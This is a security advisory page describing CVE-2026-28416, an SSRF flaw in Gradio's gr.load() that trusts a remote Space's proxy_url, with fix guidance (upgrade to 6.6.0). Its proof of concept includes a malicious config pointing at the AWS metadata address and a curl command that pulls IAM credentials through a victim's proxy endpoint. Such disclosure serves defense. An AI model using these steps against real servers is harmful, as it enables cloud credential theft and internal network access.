CVE-2026-28416: Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing

Published Feb 27, 2026
·
Updated

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxyurl from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.

Details

The vulnerability exists in Gradio's config processing flow when loading external Spaces:

1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.fromconfig() which fetches and processes the remote Space's configuration.

2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxyurl from the untrusted config is added directly to self.proxyurls: python if config.get("proxyurl"): self.proxyurls.add(config["proxyurl"])

3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={urlpath} endpoint: python @router.get("/proxy={urlpath:path}", dependencies=[Depends(logincheck)]) async def reverseproxy(urlpath: str):

4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxyurl host: python issafeurl = any( url.host == httpx.URL(root).host for root in self.blocks.proxyurls )

An attacker can set proxyurl to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.

PoC

Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6

1. Attacker creates a malicious Gradio Space that returns this config: python { "mode": "blocks", "components": [...], "proxyurl": "http://169.254.169.254/" # AWS metadata endpoint }

2. Victim loads the malicious Space: python import gradio as gr demo = gr.load("attacker/malicious-space") demo.launch(servername="0.0.0.0", serverport=7860)

3. Attacker exploits the proxy: bash Fetch AWS credentials through victim's server curl "http://victim:7860/gradioapi/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

Impact

Who is impacted: - Any Gradio application that uses gr.load() to load external/untrusted Spaces - HuggingFace Spaces that compose or embed other Spaces - Enterprise deployments where Gradio apps have access to internal networks

Attack scenarios: - Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials - Internal service access: Reach databases, admin panels, and APIs on private networks - Network reconnaissance: Map internal infrastructure through the victim - Data exfiltration: Access sensitive internal APIs and services

Other sources

Gradio is an open-source Python package designed for quick prototyping. Prior to version 6.6.0, a Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxyurl from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. Version 6.6.0 fixes the issue.

— MITRE

Affected Software

3 affected componentsFixes available
pypi/gradio<6.6.0
pip/gradio<6.6.0
6.6.0
Gradio Project Gradio Python<6.6.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/gradio to a version that resolves this vulnerability.

    Fixed in 6.6.0
  2. Upgrade

    Upgrade Gradio to a version that resolves this vulnerability.

    Fixed in 6.6.0

Event History

Feb 27, 2026
CVE Published
via MITRE·09:47 PM
Data Sourced
via MITRE·09:47 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software
Mar 1, 2026
Advisory Published
via GitHub·01:29 AM
Data Sourced
via GitHub·01:29 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-28416?

CVE-2026-28416 is classified as a medium-severity vulnerability due to the potential for exploitation through SSRF.

2

How do I fix CVE-2026-28416?

To fix CVE-2026-28416, upgrade Gradio to version 6.6.0 or later.

3

Who is affected by CVE-2026-28416?

CVE-2026-28416 affects all users of Gradio prior to version 6.6.0.

4

What type of vulnerability is CVE-2026-28416?

CVE-2026-28416 is a Server-Side Request Forgery (SSRF) vulnerability.

5

What can an attacker do with CVE-2026-28416?

An attacker can exploit CVE-2026-28416 to make arbitrary HTTP requests from the server hosting the vulnerable Gradio application.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203